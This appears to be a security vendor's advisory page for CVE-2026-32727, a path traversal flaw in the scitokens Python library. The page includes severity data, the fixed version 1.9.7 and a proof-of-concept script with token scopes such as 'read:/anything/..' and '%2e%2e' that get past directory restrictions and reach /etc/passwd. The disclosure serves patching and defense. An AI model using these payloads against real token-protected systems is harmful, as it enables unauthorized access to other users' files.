Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-32727 scitokens

HIGHFix: scitokens/scitokens@2d1cc9e

CVE-2026-32727 is a high-severity (CVSS 8.1) Path Traversal vulnerability in scitokens. A fix is available for scitokens — see the affected versions and patch details below.

SciTokens: Authorization Bypass via Path Traversal in Scope Validation

Also known asGHSA-3x2w-63fp-3qvwPYSEC-2026-2277
Published
Mar 31, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32727.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-32727 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍scitokens

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

  1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
  2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:
    return requested_path.startswith(allowed_path + '/')
    # "/home/user2".startswith("/home/") is True
    

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

  • Scope: read:/home/user1/.. -> Access Granted to: /home/user2
  • Scope: read:/anything/.. -> Access Granted to: /etc/passwd
  • Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar


import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIscitokensall versions1.9.7pip install --upgrade 'scitokens==1.9.7'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update scitokens to 1.9.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32727 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32727 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-32727. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `Enforcer` is vulnerable to a path traversal attack where an attacker can use dot-dot (`..`) in the `scope` claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using `startswith`. ### Details **File:** `src/scitokens/scitokens.py` **Methods:** `_check_scope`, `_scope_path_matches` **File:** `src/scitokens/urltools.py` **Method:** `normalize_path` ## Description When a token is verified, the `Enforcer` extract
O3 Security · Impact-Aware SCA

Is CVE-2026-32727 in your dependencies?

O3 Security finds CVE-2026-32727 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-32727: scitokens (High 8.1) | O3 Security